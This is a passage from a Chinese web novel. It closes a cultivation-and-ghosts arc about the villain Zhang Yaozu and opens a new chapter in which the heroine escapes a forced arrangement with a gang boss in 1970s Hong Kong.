不过齐冰寒觉得他们大概是痴心妄想,师祖眼光高,真看不上那些歪瓜裂枣。 协会里吹得天花乱坠的天才们,哪个不是倾全族之力喂养出来的,可也就修为上能看,基本功都不扎实。 哪像他师姐家这俩,才几岁的年纪就对着一箱书研究得有模有样? 他的小徒弟也不错,踏实努力还不贪多,以后符纸店交到徒弟手上他也放心。 第一届天师大赛于暑假开幕,历时近半年才终于决出前三名。 齐冰寒每周实时转播赛况,基本那边比赛刚出结果,他这边就能收到消息,再颠颠儿来酸枣村蹭饭。 小院没有再布聚灵阵,但药园吐哺灵气的速度超乎想象,陈太奶菜园子里的菜都在影响下进了阶,家里喂的猪牛鸡现在宁可啃白菜帮子都不吃糠和草。 幸好三家的菜园子连在一起够大,菜的长势也十分出色,才供得起这么多人和牲畜。 休息之余,温苒和霍骁北被师父拎去比赛现场围观过几次,偶尔张瑶兰也会跟着一起。 温苒现在已经能炼制三品丹药,霍骁北炼器入门后,炼制的符笔和长剑在协会里也很畅销。 张瑶兰画符也入了门,虽然还只能绘制几种常见的低品阶符箓,但画符的成功率高达百分之六十,拿去协会收购赚得钱,短短半年就在县城买了一套房子。 人有了钱就有了底气,张大娘和张瑶兰祖孙俩腰板挺直了,脸上的笑也变得越来越轻松。 小升初那年的夏天,全国人民都蹲在电视机前追奥运会。 几家人凑在一块,还有来温家小院纳凉唠嗑的村邻们,凑在院里看露天直播。 张瑶兰悄悄凑过来,脸上的笑容憋了许久都还在,“我奶说,张耀祖要有弟弟了。” 温苒秒懂,小声回道:“那她们往后几年都不回来了?” 张瑶兰用力点头,“我奶是这么说的。” 继张耀祖这个扫把星后,这是老张家过了十多年才迎来的一个孩子,更不要说性别为‘男’。 就老张头那宝贝孙子的劲儿,别说往后几年,往后十来年都不定能回来。 肚里的时候坐车怕掉,生出来怕孙子着凉生病,到了年纪上学肯定也是城里教育更好,老张头和儿媳三人就彻底被孩子栓在了外头。 张瑶兰:“我奶还说,大学让我考远点,毕业争取留在城里,省得他们回来以后纠缠。” 张大娘的顾虑不是没有原因,张瑶兰现在可是个隐形富婆,城里有房子存着上有钱。 温苒道:“那你就不能考长京的大学了,村里很多人都去长京打工,肯定会把你的消息传回村里。” 张瑶兰皱起眉,“这倒是,我奶说我去哪儿她就去哪儿,可我还想离师父近点。” 师父没结婚,只有她这么一个徒弟,她离得远了难免照顾不到。 而师父也不可能她走哪儿就跟到哪儿,师父的符纸店还在县城。 温苒想了想,说道:“要不去太一观吧?” 首先太一观是她们的师门,自家地界上不会让弟子吃亏; 其次瑶兰姐姐一手画符的本事,在师门里当个教习,事少又安全。 最后嘛,师叔会定期回道观看望他师父,一来二去嫌麻烦,搞不好就会把符纸店挪到道观附近。 当然这个事还得靠张瑶兰,她是徒弟不假,可她上头的上头还有个师祖呢,师孙俩合计着正好软硬兼施把齐冰寒骗过去。 今年有奥运在,天师大赛停了一届。 暑假开学,七岁的温苒,九岁的霍骁北,十二岁的张瑶兰光荣的成为一名初中生。 开学前,几大家子就去城里参观过,开学当天把孩子送去校门口,一群大人就离开了。 陈太奶被温大娘和张大娘一左一右挽着,“那待会儿咱们就回村,她们几个孩子住城里,星期天放假再坐大国的车回来。” 各家在城里都买了房子,小县城就那么点大,满打满算现在只开发了两三个小区,加上局限在学校附近,也就剩下一个小区。 暑假的时候温大娘她们就把房子收拾出来,商量好到时候都住温苒的房子,霍骁北的房子也没空着,哪天她们进城正好住孩子对门。 巧的是,和她们同村的马家也在这边买了房子。 当年戏班人贩子的余波至今还在,酸枣村再没请过外地的戏班子,就是县城办个什么活动也都请知根知底的本地人。 马林森和张瑶兰同岁,他一直在城里的私立小学上学,据说和朱梅梅同班过几年。 四个人报道后被分到同一个班级,有共同认识的人,加上出自同一个村子,聊起来可有相当多的话题,熟络起来后就开始一起上下学。 马林森的爸妈经常请她们过去吃饭,因为孩子的关系,马家几个兄弟和霍家两兄弟也多了来往。 第一个星期军训完回村,温苒里里外外找了一圈,没找见师父。 院里乘凉的陈太奶告诉她:“你师父觉着家里没意思,出去找工作了。” 温苒:“???” 她师父找工作?! 当事人当天就回来了,温苒拉着丹阳追问:“师父你找到工作了吗?是什么工作?” 丹阳坐在院里小板凳上,捧着刚从井里捞出来的西瓜,边啃边回小徒弟:“找到了,你们学校的老师。” 温苒傻眼了。 丹阳还告诉她:“你们班的英语老师。” 温苒更傻眼了。 她不是怀疑师父教不教得了,师父周游过不知多少次世界,什么语他也精通。 温苒真的只是单纯好奇,“师父你都没读过高中大学,也没有毕业证明,学校难道不要求老师的文凭学历吗?” 不是她说,这也太随便了。 丹阳敲了下她的脑门,“当然有要求,为师这趟出门刚给办好。” 温苒捂着额头,眼神控诉地瞪着师父,“那师父你怎么办的?” 丹阳啃完西瓜把瓜皮丢到猪圈里,“找了个在大学教书的徒孙,总之为师现在是海城理工大学的教授。” 温苒眼睁睁看着瓜皮砸在大肥猪头上,木着脸想,那师父可太不像个教授了。 开学没两个月,温苒就听张瑶兰说,张耀祖又要跳级。 张耀祖今年十岁,十岁的年纪读初二,成绩保持在班级前十,说一句神童不过分。 之前他有学霸系统,为了任务奖励他频繁跳级还能理解,可他现在孤家寡人一个,怎么还想跳级呢? 具体情况张瑶兰也不清楚,张耀祖跟她们不是一个学校,是在县城边上另一所初中,因为离家远就办了寄宿。 温苒想不通,霍骁北却道:“他重生前读了四年高三,应该还记得每年的考题,考上大学不难。” “他之前还嘀咕过股票投资之类的,可能是想凭借先知投资赚钱吧。” 听君一席话胜读十年书啊! 这个张耀祖忒能折腾,就凭他那个爱出风头爱装逼的劲,他要成了有钱人指定会在网上大肆炫耀,搞不好就能让童子注意到。 不过温苒也不好做什么。 张耀祖重生已成定局,仙器非他所有所以可以封印,而他因仙器得来重生的机会,一方面加重他身上的因果,一方面也是在透支他自己的气运。 天道总是公平的,得到的同时也会失去。 抛开仙器不谈,张耀祖转世的任务就是受苦吃苦,他因为身怀仙器被童子盯上,遭些大罪可太正常。 温苒当然不是害怕张耀祖被童子折磨,她只是心疼仙器,万 一仙器落到童子手里,遭罪的还不知道有多少普通百姓。 张耀祖跳级到初三,中考时顺利考上县城高中,又很快跳级到高三参加高考。 据说这一年高考的难度相当高,温苒和霍骁北在万里高空吸收日月精华修炼时,霍骁北炼制的传讯器发来消息。 瑶兰姐姐告诉她,张耀祖考了六百三十七分,全县第二名,全市前五十名,全省前一千名。 温苒摸着下巴,这个名次能考上个很不错的大学了。 巧的是,这一年的暑假,远在南方打工的张老头带着儿媳孙子回来了。 张老头对小孙子的宠爱远胜过前头两个。 温苒看热闹不嫌事大,贴了个隐身符,跑张家房顶上瞅了个全程。 她左边是被强行拽来的霍骁北,右边是被张大娘赶走的瑶兰姐姐,三人就着瓜子可乐,看得津津有味。 从张老头荣归故里,到张耀祖炫耀高考分数,再到张耀祖对弟弟大打出手,然后张老头勃然大怒呵斥张耀祖,并放话绝不给他一分钱学费,让他有本事自己去挣! 温苒啧啧摇头,“瑶兰姐姐,你这些天还是在师叔的符纸店待着吧,等你大学毕业赶紧带着张奶奶和师叔去师门附近安置。” 张耀祖这个弟弟眼看着也被养歪了,凭这家重男轻女的劲头,是绝对会打张瑶兰的主意让她给弟弟无私奉献的。 温苒教她怎么利用这一点向师叔卖惨,张瑶兰一脸受教,决定待会儿去县城就试试。 张家的后续,温苒听张瑶兰事后转播。 张老头那叫一个心狠,说不给学费就不给,张耀祖也挺有脾气,放话说跟张家断绝关系,没想到张老头求之不得。 张耀祖下不来台,只好揣着他这些年捡垃圾赚的几百块钱进城打工。 一开始是给人补课,因为讲得太差劲被开除,后边只能沦落到去餐厅洗盘子。 开学前他连学费的零头都没凑够。 还是张大娘听说了,把头两年的学费给了他。 当时张瑶兰也在,“我奶说让他以后别回来了,家里这些人不值当他惦记。” 温苒听完在心里感慨,张奶奶这些年应付张老头,也算应付出心得了。 这话乍一听是张奶奶在心疼张耀祖,实则不然,一整句话里只有前半句是真。 张大娘是真心希望张耀祖别回来了,孙女刚刚中考读高一,就算以后打定主意要离开这里,可后头还有三年且熬着呢。 高中三年可是重中之重,张大娘可不希望张耀祖这个扫把星回来碍事。 至于对扫把星好可能会遭罪,张大娘也不会蠢到犯戒,她给张耀祖的钱都是张老头这些年寄回来剩下的,她自己的工资都给孙女留着呢。 张耀祖走后不久,张老头一家四口也上路了。 张老头一开始还不想走。 家里这些年让张大娘和张瑶兰收拾得像模像样,比在外头打工时租的房子又大又好,他就盘算着在家附近找个轻省的工作,不跑外头遭罪去了。 张大娘就跟吞了苍蝇似的,他是不遭罪了,这老头在家指定是想她来伺候的,遭罪的成了她。 张大娘只好用一番‘都是为了孙子’的话,好说歹说才把这老头劝动了。 张大娘是这么对孙女说的,她没说的是,这老头儿疑心病犯了,怀疑她一直劝他出去打工是因为有了相好。 张大娘能怎么说,只好驳了一句:“有本事你也去找!天高皇帝远的你找几个我都管不着!” 哪成想这老头脸上竟然闪过心虚,张大娘立马明白过来,这是贼喊捉贼,怕是他才真的有了相好! 有就有,张大娘倒希望这老头硬气一点,最好冲冠一怒为红颜,向她这个糟糠妻提离婚。 不知是被‘为了孙子’劝动,还是念着外边的相好,张老头最后还是扛着包袱上了火车。 春去秋来,眨眼间高考到了眼下。 为此,温怡和陈黎特地推了工作赶回来。 难得一家人这么齐,回想起来陈太奶也有几年没回过家,几家人一合计,干脆趁着孩子高考后的假期去长京旅游。 疯玩了整个暑假,温苒才有空想起来关注张耀祖。 时值互联网迅猛发展的开端,张耀祖趁这股风走在了搞事的前沿,上节目录综艺开直播营销天才霸总人设还进娱乐圈拍戏,简直玩出了花。 不过张耀祖的扫把星体质依旧屹立不倒,投什么亏什么,本来要上市的公司他一进去直接暴雷破产。 张耀祖营销的天才人设也大翻车,学国外那套大二辍学创业的励志故事,没想到被同学曝光他是因为考试作弊死不承认,还买黑客攻击学校后台企图修改成绩才被开除的。 别看他在网上蹦跶得厉害,其实已经债务缠身焦头烂额。 都这样了,不管网友们骂得多狠他依旧厚着脸皮上节目,还写书出书,据说还同时脚踏几条船玩弄女人感情。 知情的都明白这是个人渣,不知情的看他那阵势还以为是个成功人士。 就连自家人都被骗了,张老头和儿子儿媳在电视上看到张耀祖西装革履皮鞋金表人模人样的,登时就眼馋后悔了。 也不知道发生了什么,张老头气冲冲跑回老家,拽着张大娘就把婚离了。 这么大的好事砸下来张大娘和张瑶兰简直乐疯了,又是请客又是送礼,不知道的还以为是结婚呢。 没多久,温苒就听到张耀祖和张老头几人因涉及诈骗、传销和不实广告被补的消息。 张耀祖不愧是张耀祖,都这地步了还能找到人保释他,只不过刚出来几天就被诈骗对象怀恨在心一刀捅死了。 温苒不敢置信,“就这么死了?” 霍骁北御剑带着她赶路,回道:“仙器已经被封印,他这次死了不会再重生。先前托黑白无常和日夜游神重点关注张耀祖,他死后鬼差第一时间赶到现场勾魂,但没发现张耀祖的魂魄。” 温苒赶忙掐指算卦,皱紧了眉头,“不出意外是被抓走了。” 她这次算出来的卦象,和当年卜算邪道位置时一样。 没有结果也是一种结果,排除被厉鬼吞噬和张耀祖自己偷跑这种小概率情况,只可能是被抓了。 不过抓他的人是童子还是别人并不能确定。 如果是童子,那她们先前的计划就白瞎了,只能等师父出关,通过当年他留下的封印追踪仙器的下落。 好在只是虚惊一场,张耀祖的魂魄不在现场,是因为还没离开身体。 这就不得不说回前些年收取邪道魂魄的作业,一月期限内,为了防止邪道的魂魄离开张耀祖的身体,师父在张耀祖的身体上下了禁锢术。 去掉法术,张耀祖的魂魄飘出来,新丧的鬼魂还处在蒙昧状态,温苒一把攒住塞到符箓里,保险起见又把符箓放到龙珠辟出来的空间里。 黑白无常苦着脸,“大人,何不将这涅鬼交给我等,我二差定送他下十八层地狱受刑!” 霍骁北言简意赅地拒绝:“他还有用。” 温苒就很直白:“你们地府都快漏成筛子了,保不齐你们刚把他带到监牢,后脚他就被带走。” 黑白无常:“……” 确认仙器完好,两人飞回学校继续上课。 一年一度的天师大赛开幕,温苒和霍骁北乔装打扮一番,扮做隐世宗门的弟子参加比赛,一路畅通无阻来到决赛,拿下前两名。 通过大赛扬名后,再接几单协会内部的任务,温苒‘神算’在世的名号在天师界已经无人不知无人不晓。 千呼万唤中,温苒终于接到一个不同寻常的任务。 除了传承日久的道观佛寺,如今天师界中几大家族的势力不可小觑。 比起门派,家族势力发展起来在于分工合作,有人经商有人从政有人从事教育… 一个家族扎根各行各业,而家族中有天赋的被培养成天师,为普通人保驾护航。 家族中派系繁多,也最容易被人钻空子。 据这些年的调查得知,每一届天师大赛中擅 长卜算的天师要么加入某个家族,要么下落不明,或者身首异处。 通过一系列测验后,温苒接到最终任务。 这个家族的祖先埋下过一笔宝藏,开启宝藏的令牌会在每任家主手中保管。 现在,这个家族想取出那笔宝藏,需要温苒通过令牌卜算出宝藏的下落。 温苒花费七七四十九天,使用宗门‘秘术’获得指引,带领这个家族出发寻找宝藏。 路上,一直贴身保护温苒的霍骁北被有意无意的隔开。 按照事先的计划,霍骁北在某次算计中下落不明,实则先温苒一步来到准备的陷阱地点。 陷阱在一处深山中,被两人布上阵法,入阵后是一处古墓。 温苒在合适的时机假死脱离阵法,来到阵法外询问霍骁北情况。 霍骁北道:“地府给出的失踪名单上还差六个,有两个躲在阵法外观察情况,其他四个没有出现。” 看来还是下的饵不够,操纵阵法把以童子为首的几只恶鬼留下,温苒放走了跟来的那个家族天师,并用霍骁北炼制的灵器伪装成仙器让他们带出阵法。 同时两人伪装成他们的同伴混在队伍里。 躲在阵法外的两只恶鬼上当,齐齐扑上来夺宝,被温苒和霍骁北攻击,最终一死一伤。 重伤的恶鬼带走了伪装的仙器,温苒和霍骁北跟在他身后追踪,不多时便察觉到几道阴冷气息随行。 随着恶鬼一路逃亡,最终只剩下一道气息还未现身。 拿到仙器的恶鬼回到洞府准备炼化,就在这时,一直同路的恶鬼出现偷袭,抢到仙器。 然而不待他得意,霍骁北一剑送他魂飞魄散。 至此,地府越狱团伙全员覆灭。 ** 等丹阳出关,温苒三言两语把事情交代了,催促他用符牌把仙器从张耀祖魂魄上取下来。 那童子的存货果然不少,师徒三人好一通瓜分,完了仙器也被炼化成一座巨大的图书馆。 温苒和霍骁北将其安置在龙珠劈开的空间里。 在图书馆中学习修炼时,有炼化时残留的文运加持,能让人保持心平气和思维敏捷思绪清明。 图书馆中的自习室里,和外界的时间流速也不同,外面一天自习室里三天。 把张耀祖交给地府后,温苒除了上课学习就闲了下来。 闲下来就爱听八卦,这也才知道张家现如今的情况。 张耀祖被报复捅死,张老头和儿子入狱,只剩下张耀祖的母亲和弟弟,在判决下来后就回了酸枣村张家。 张家人去房空,张瑶兰早就带着奶奶一起去了大学所在的城市。 即便如此那母子俩也没消停,不知从哪里得知张瑶兰在县城的房子,把锁撬了换了新的,还打算租出去。 师叔齐冰寒放鬼狠狠吓唬了一番那母子,来看房的租客也是来几个吓几个,这才保住房子的清白。 大二前的暑假,师父丹阳终于飞升了。 自此道观里供奉的祖师爷们又多了一位。 人生须臾不过百年,在送走身边许多人后,温苒和霍骁北也选择了飞升。 仙门大开,二人飞身跃进,消失在这个世界。 第100章 第100章七零香江作家1 温宝龙推门进来,站在床脚的位置,脸色难看,“小苒,管家说你今天又偷懒了,衣服都没洗完就去吃饭,你阿妈很生气。” 温苒靠在床头,从报纸中抬起脑袋,面无表情回道:“阿爸,我会尽快搬出去,不打扰你和孙阿姨的生活。” 温宝龙楞住,假装出来的怒火有一瞬间的茫然,紧接着不敢置信地失声质问:“你要搬出去?” 没等温苒回答,温宝龙自顾自发起了火,大声训斥:“你连香江话都不懂你能去哪里?你阿妈好心收留你,不过是你叫你做些家务你就不愿意了?地主家的小姐都没你娇气,大陆那么多年的教育都白教了,就该把你送去乡下种地!” 瞥到她手上的报纸,他冷笑道:“不要以为你读过几年书就了不起,大陆的学历香江是不认的,你去当保姆人家都不要北妹的!” “身在福中不知福!你以为谁都跟你一样,到了香江有我这个阿爸可以投奔,身份证件也有你阿妈帮你办理?你知不知道像你这样的北妹到了外面只有一个下场,就是去站街揽客啊!” “你阿妈对你严格是为了你好,你在家常做家务,以后嫁人婆家也会夸你勤快的。” “你阿妈嘴硬心软,你年纪也不小了,大陆像你这般大的姑娘都嫁人生子了,你阿妈帮你找了个对象,对方年轻有为,身份也不一般,明天你去见见。” “你不是不想住家里么,我和你阿妈也不拦你,你收拾东西去你男朋友家住。” 撂下这通话,温宝龙后退一步,拉上门走了。 脚步声渐行渐远,寂静的房间里,温苒一阵无语。 破相亲谁爱去谁去。 什么年轻有为,不就是个黑帮混混吗? 还身份不一般,说好听点是新福会在福角区的大揸数,说直白点不还是个黑帮混混吗? 七零年的香江还处在欧英政府的统治下,政治黑暗,法治腐败,社会秩序混乱,帮派林立。 帮派治下无恶不作,黄赌毒大行其道。 温苒之所以被安排去和黑帮人士‘相亲’,是因为她同父异母的兄弟孙耀业被骗去赌钱,连老爷子给他的两点股份都输掉了。 孙耀业的母亲,温苒的继母,孙荣美千方百计和赌场的话事人跛脚胜见了一面,又是赔钱又是赔笑的,不知道搭了多少东西才把股份要回来。 为表诚意,这不,又推了温苒去给跛脚胜当‘女朋友’。 说是这么说,实际上孙荣美就是把温苒论斤称两的卖了。 根本不是相亲,也更不是正儿八经的女朋友。 剧情里,跛脚胜有妻有子,所谓的‘女朋友’用情妇来形容更恰当。 等跛脚胜玩够了,还有他手下的人等着,再然后扔去拍片子,拍得好继续拍,拍不好还有红灯区等着。 一无所知逆来顺受的原主,就这么一步步沦落到了地狱里。 原主满心怀喜偷渡来香江寻找父亲温宝龙,温宝龙却为了儿子,无情地把她推向深渊。 而一生悲惨的温苒,只是草根男主故事里的背景板,得了‘可怜’两个字的评价,激励其从一个小混混努力逆袭成香江所有黑帮的龙头老大。 相亲是不可能相的,温苒只有一个打算:跑。 然而香江黑帮的眼线无处不在,可能街边的计程车司机就是一名帮派成员,她今天跑,明天就能被扭送到跛脚胜跟前。 是以旅馆酒店她绝不能去,思来想去只能去一个地方。 ——五象城。 五象城是香江最特殊的一个区域,通俗来说是三不管地带,城里城外是完全不同的天地,城里和城外的帮派也带着厚厚的壁垒。 五象城鱼龙混杂,香江许多罪犯犯了案,为了逃避法律制裁,就闷头躲进城里,警察也拿他们没办法。 温苒只打算躲一时,先过了这阵风头再说。 这样想着,温苒翻身下床,把门插上,在狭窄的房间里拾掇起她的行李来。 房间外,别墅的偏厅里,孙荣美刚结束和跛脚胜的电话,疲惫地扶着额头,吩咐温宝龙:“把阿业叫进来。” 温宝龙点点头,说道:“阿美,阿业还小,你教育他要温柔,别太凶了。” 孙荣美扯起嘴角强笑了笑,“阿哥,阿业都二十二了,别家的孩子要么出国留学进修,要么进公司学管理,你看阿业,竟然学人赌博?还敢拿阿爸给他的股份去赌?简直无法无天了!” 温宝龙还想说什么,孙荣美摆摆手,“行了,我心里有数。阿爸年事已高,其他几房蠢蠢欲动,这个时候绝不能出错。你平时也要多监督阿业,不能让他有机会再去赌。” 温宝龙连连保证,离开偏厅去叫儿子。 不多时,偏厅的门从外面打开,吊儿郎当的青年摇摇晃晃走进来,“阿 妈,什么事?我这几天都有听你的话,没出过门,整个人都发霉啦!” 孙荣美无奈地看着儿子,“阿业,你也老大不小了,俗话说得好,先成家再立业,你是不是该谈个女朋友了?船王家的二千金刚刚大学毕业,改天妈约她出去吃饭,你也一起。” 孙耀业回想了下对方的长相,不满道:“阿妈,我要娶也要娶港姐的!” 孙荣美表情拉下来,“不要跟那些不三不四的女人纠缠!” 孙耀业耸耸肩,“要么就长得跟港姐一样漂亮,我愿意被纠缠。” 孙荣美气得心口疼,这孩子也不知道随了谁? 她沉声:“那就不要怪阿妈停你的零花钱!” 孙耀业一脸无所谓,“我去找阿爷要好啦!” 孙荣美胸口更难受了,不过她却说:“知道你阿爷对你好就多过去陪他,老人家记性一天不如一天,你今天不去明天他就把你忘了,手上的东西都给其他几房,你一分没有我看你还怎么去追女生?” 孙耀业不耐烦地点头,“知道了知道了,我明天就去陪阿爷,阿妈还有事情吗,没事我先走了。” 说完,他转身就朝外走。 “站住!”孙荣美大喝一声,“明天早上先送那个丫头去见跛脚胜,你再和胜哥好好道个歉,之前的事就一笔勾销,回来再去陪你阿爷。” 孙耀业站定回头,“那个丫头?大陆过来找阿爸的北妹?” 孙荣美面无表情嗯了声,以示回应。 老公和别的女人结婚还生了孩子,虽然是为了应付长辈,但总归是件难堪的事情。 孙耀业眯起的眼睛里闪过一道邪光,“阿妈,大陆来的北妹能有什么见识,我看她笨手笨脚的哪里会伺候人?你清掉佣人,我去教教她,省得她惹怒胜哥再牵连到我。” 孙荣美狠狠皱起了眉,他想做什么? 孙耀业站直了身体,理直气壮道:“阿妈,我答应你去陪阿爷,你也要答应我一件事吧?” 孙荣美盯着他沉思半晌,开口说:“陪阿爷是你应该做的,你去和船王千金相亲,尽快定下两家的婚事,再生个儿子,你阿爷肯定欢喜。” 孙耀业神色纠结,孙荣美软下语气劝道:“娶妻当然要娶豪门千金,出去应酬都很长脸,娶个不三不四的女人回来只有被笑话的份。你要实在不喜欢,就把正妻哄好摆在家里充脸面,在外面随你怎么浪。” 孙耀业勉强答应了,催促道:“阿妈你动作快点。” 孙荣美起身和他一起离开偏厅,只叮嘱道:“别闹太迟了,明天还要送她去见胜哥。” 孙耀业已经迫不及待地跑下楼,压根没听到这句话,也更没有回应。 地下室楼梯旁的房间里,温苒翻遍房间也才找出两身衣服鞋子和一本笔记本,笔记本里夹着一张身份证明和一沓零碎的钱票。 温苒都收进系统包裹,刚沾到床要躺下休息,就听见门外想起一串轻快的脚步。 伴随着愉悦的口哨,脚步声的主人正在靠近。 孙家能进别墅的佣人都是女佣,诸如园丁、清洁、保安和司机也只有白天才能进来。 若非温宝龙去而复返,来人除了孙耀业不做他想。 温苒看向门口,这个时间孙耀业来地下室做什么? 下一秒门板轻微震动,像是被从外面推了一把。 门没有被推开,门外的人怒骂两声,对着门板又拍又踹,“阿妹开门,我是大哥!” 确认是孙耀业不假,温苒没想通,这人来找她干嘛?总不能是良心发现要放她走吧? 眼睛咕噜一转,温苒想到刚才翻箱倒柜找到的几十块。 她在五象城租房吃饭不能不要钱吧? 孙荣美和温宝龙为了孙耀业要把她卖了,她从孙耀业身上弄点钱这很合理吧? 温苒跳下床寻找武器,结果这屋里当真什么都没有,她只好从系统包裹里取出电击棒和手铐来到门前。 门外孙耀业一直催促,不耐烦地拍门砸门。 以防开门时被误伤,温苒用脚抵着门,拨开生锈的插削锁。 她握着门把打开门。 孙耀业见门开,脸上表情狂喜,“阿妹——” 话还没说完,一只纤细的手腕冲到面前,以迅雷不及掩耳之势攥上他领口把他拽进屋子。 门重新关上,一阵细微的动静后,屋子连同整条走廊安静下来。 别墅的佣人都被吩咐安生待在房间里,女主人睡眠不好,不想听到外面有声音。 安静下来的房间里,昏黄的电灯洒下光亮。 温苒坐在床边,用电击棍戳了戳脚边蜷缩的孙耀业,“你来做什么?” 孙耀业两手反拷在身后,听见这话表情惊恐,整个人抖成筛子一般,“阿、阿妹,大、大哥听说你明天要和胜哥相亲,过来关心一下。” 话音刚落,温苒一脚踢过去。 这话鬼才信? 还关心? 他怎么不干脆说为表歉意明天的相亲他替了? 狗东西假好心,温苒懒得跟他废话,打开电击棒戳过去。 孙耀业还没来得及求饶,一阵抽搐后就翻着白眼晕了过去。 温苒蹲下来扒尸,每个兜都掏了才掏出来八百多港币,外加半包烟、一只打火机和一支手表。 温苒都给收了。 初到五象城可以用烟打探消息,打火机和手表应该都是名牌,二手也能卖个好价钱,可惜现金不多。 搜完身,温苒拿出迷药给他灌进去,踢到床底下,没个五六天醒这狗东西不过来。 她还是太善良,否则就灌半个月版本的迷药了。 床底下多了个人,这一晚温苒没怎么休息。 不过她这具身体用的是飞升版本,虽然修为被禁锢,但身体素质还在,是以精神气色还算好。 早饭温苒没打算去厨房,啃个系统包裹里的包子就可以,不想有佣人来喊她去餐厅吃饭。 温苒锁好房间,跟女佣去餐厅。 原主来香江有月余,和佣人们一起吃大锅饭,和佣人们一起干活。 佣人们好歹有工资,原主一分钱没有就是个白工,到头来还要被卖出去。 别墅的餐厅装修得金碧辉煌,宽敞气派,比温苒住的地下室楼梯隔间宽敞多了。 第一次踏入这个地方,温苒伪装成原主瑟缩胆小的模样,拧着两手低下头不敢乱看。 孙荣美坐在主位,温宝龙坐在她左手旁,站起来盛了一碗粥放在她面前,“阿妹,先吃早饭,待会儿还要上班,不要迟到让大房三房做文章。” 孙荣美嗯了声,看也不看门口站着的人影,随口吩咐:“开饭吧。” 也没多问一句孙耀业,当妈的心疼儿子,既然在休息就好好休息,道歉有的是机会。 温苒站着没动。 温宝龙却瞪了她一眼,好像嫌她没规矩,“你阿妈说开饭,还不快过来坐下谢谢你阿妈?” 温苒:“……” 昨晚怎么就没把孙耀业再揍狠点呢? 温苒过去坐下,不客气地盛粥吃饭。 反正是这俩让她吃的,不吃白不吃。 余光瞥到她动作,孙荣美和温宝龙眼中闪过不屑,粗鲁。 温宝龙开口:“你和胜哥的约会在中午,你阿妈很关心你,替你约了做造型的工作室,待会儿吃完饭你阿妈的秘书会带你去商场买新衣,一定要听话,胜哥喜欢听话的女人。” 温苒点了下脑袋表示知道,继续埋头吃饭。 接下来没人再说话,孙荣美放下筷子擦嘴起身,温宝龙追着她一起离开餐厅。 男女主人吃完,佣人们出现收拾餐桌。 还在吃的温苒:“……” 她是个透明人是吧? 温苒没跟她们计较,擦擦手回了房间,拖出死尸一般的孙耀业狠狠揍了一顿才解气。 很快,温宝龙敲门喊温苒出去,叮嘱她要听话,还破天荒给了她两千港币。 钱温苒收下,话她一个字不打算听。 温宝龙不停给她灌输一些乱七八糟的观念:“女人就是要跟个有本事的男人下半辈子才有保障,胜哥有钱有势,你算是好命,看你阿妈的面子才有这个机会。” 温苒面上乖巧,心里恨不得回到楼梯隔间再揍一顿 孙耀业。 跟跛脚胜是好事,怎么不让孙耀业去? 秘书和司机开车过来,温苒迫不及待坐上去,温宝龙的喋喋不休终于消停。 车子开出孙家的小别墅,来到城区商场。 秘书熟门熟路带温苒去买衣服。 温苒什么也不需要做,只需要站在一旁等秘书和店员挑选好衣服,她再进试衣间就行。 等待的时间,温苒悄悄观察可能的逃跑路线。 为了讨好跛脚胜,孙荣美和温宝龙挺大方,给看不上的温苒买衣服都来名牌店,看衣服标签最便宜的也要大几千。 这种店面是单独隔开的,想通过试衣间悄悄离开不可能。 接过衣服进了试衣间,温苒花了会儿功夫检查,果然如她所料。 这个不行再试试尿遁。 温苒换上新裙子出来,抱着肚子痛苦地抓住等在试衣间门外的店员,“靓女,Toilet!快带我去Toilet!” 店员慌慌张张带温苒去厕所。 试衣间正好在休息沙发的死角,秘书闲适地靠在沙发上喝咖啡。 她知道老板这个继女刚从大陆过来,一句港话不会讲,加上一路表现得听话沉默,所以完全没想过温苒会逃跑。 名牌店的厕所在店面后门,进了厕所的温苒支开店员,快速伪装一番,头发剪短,换上长裤卫衣,扣上棒球帽。 从厕所里出来,温苒大摇大摆从后门离开。 店里休息沙发上,秘书毫无所觉,抬手向店员要了一份点心。 温苒乘电梯来到楼下,在商场门口叫停一辆出租车,拉开车门坐上去,“去香江快报。” 孙荣美和温宝龙想把她卖了给孙耀业擦屁股,她怎么也要回一份大礼,才对得起这几个月在孙家早起晚睡打白工的日子。 《香江快报》名字听着很唬人,实则不过是香江多如牛毛的报纸中平平无奇的一家,如众多小报一样跟在大报后面捡骨头喝汤。 孙家的佣人中零星几个有订阅报纸的习惯,原主爱看书却没钱,以帮忙干活为报酬收集了许多旧报纸。 温苒昨天翻阅过大半,其中最没有底线征稿最大方的唯香江快报莫属。 这小报的版面上明星豪门和艳俗世俗小说对半开,其他报纸好歹是开局一张图其他全靠编,香江快报完全凭空捏造,且黑白两道政商警界的人物都敢编排。 要么这家报纸的老板为了钱不要命,要么就是有背景有靠山。 孙家在香江也是数得上号的,孙家老爷子曾是民国旧政府时期的官员,姻亲中不乏各界势力的佼佼者,私底下和帮派分子的关系也很密切。 别看孙荣美为了儿子向区区一个堂口的揸数弯腰赔笑,那是因为她出身的二房在孙老爷子跟前不得脸。 孙老爷子的二房子嗣不丰,又个个都没出息,孙荣美的母亲出身也只是平平,各方面都借不上力。 是以在家产竞争中二房早早就被其他几房排挤出去。 如今孙荣美赔笔钱赔个笑再赔个美人就能让儿子在赌场的欠债一笔勾销,可不是看在孙家二房的面子上,完全是因为孙荣美她爹孙老爷子还活着。 孙荣美也正是知道这点,才愿意出血私了,好不让孙耀业赌博败家的事情传到老爷子面前,否则她们二房才是丁点染指家产的机会都不会有了。 这一家三口坑了温苒,礼尚往来,温苒得坑回去才行。 不想让孙老爷子知道? 温苒偏不如这一家三口的愿。 《香江快报》不愧是财大气粗,温苒说完消息,对方甚至没再多加询问核实,就爽快地给出五百港币。 温苒:“……” 她陷入沉思,卖豪门消息这么赚钱吗? 温苒清了清嗓子,“其实我是一名女佣,刚从某家豪门辞职,我还知道很多消息……” 对面主编推了推眼镜,嘴角缓缓上扬,“不着急,女士您慢慢说。” 半小时后,温苒身怀巨款三千港币离开报社。 打车离开前,温苒深深看了眼地下室入口,果然人不可貌相。 前往五象城路过之前逃跑的商场,温苒向车外看去,商场附近的街面上出现许多持棍拿刀的凶狠分子。 看来她逃跑的消息已经由孙荣美传到了跛脚胜耳朵里。 温苒抬了抬帽沿,半点不慌。 这些人要找的是一个穿着鹅黄色连衣裙长发胆小不会说港话的大陆妹,可不是她港话很流利的温苒。 巧的是,温苒搭乘的出租车司机恰好是一名帮派编外分子。 街头一伙人走过来,和司机打了声招呼,后车窗的玻璃降下来。 几道审视的目光落在身上,温苒淡定地瞥了眼这群人,“有咩事?我赶时间啊!” 